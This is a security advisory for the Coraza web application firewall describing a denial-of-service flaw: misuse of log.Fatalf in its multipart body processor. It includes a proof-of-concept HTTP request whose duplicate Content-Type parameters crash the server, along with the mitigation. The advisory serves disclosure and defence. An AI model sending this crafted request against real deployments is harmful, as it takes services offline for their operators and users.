GMS-2023-1812: Coraza has potential denial of service vulnerability

Summary

Due to the misuse of log.Fatalf, the application using coraza crashed after receiving crafted requests from attackers.

Details

https://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29 The bodyprocessors of multipart uses log.Fatalf to handle errors from the mime.ParseMediaType, but log.Fatalf calls os.Exit directly after logging the error. https://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291 This means that the application will immediately crash after receiving a malicious request that triggers an error in mime.ParseMediaType.

PoC

The server can be demonstrated by https://github.com/corazawaf/coraza/tree/main/examples/http-server

After sending this request

POST / HTTP/1.1
Host: 127.0.0.1:8090
```User-Agent```: curl/8.1.2
Accept: */*
Content-Length: 199
Content-Type: multipart/form-data; boundary=------------------------5fa6351b877326a1; a=1; a=2
Connection: close

 --------------------------5fa6351b877326a1
Content-Disposition: form-data; name="file"; filename="123"
Content-Type: application/octet-stream

123 

 --------------------------5fa6351b877326a1--

The server will crash immediately. The a=1; a=2 in Content-Type makes mime: duplicate parameter name error.

Impact

I believe the vulnerability was introduced by the following commit: https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec.

Mitigation

The error from mime.ParseMediaType should return directly.